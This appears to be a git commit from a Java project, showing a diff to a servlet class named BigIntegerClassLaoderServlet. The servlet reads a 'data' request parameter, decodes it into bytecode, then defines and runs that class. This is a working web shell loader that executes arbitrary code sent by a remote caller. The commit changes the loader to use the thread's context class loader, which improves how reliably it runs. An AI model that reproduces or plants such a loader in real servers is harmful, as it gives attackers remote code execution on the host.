feat: support addFilterFirst for undertow

This commit is contained in:
ReaJason
2026-01-12 02:12:34 +08:00
parent 9cb35aed9e
commit 62a48b8937
11 changed files with 401 additions and 2 deletions
@@ -7,6 +7,13 @@ import java.io.IOException;
*/
public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet {
public BigIntegerClassLaoderServlet() {
}
protected BigIntegerClassLaoderServlet(ClassLoader parent) {
super(parent);
}
@Override
public void init(ServletConfig config) throws ServletException {
@@ -22,7 +29,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet
String data = req.getParameter("data");
try {
byte[] bytes = decodeBigInteger(data);
defineClass(null, bytes, 0, bytes.length).newInstance();
new BigIntegerClassLaoderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}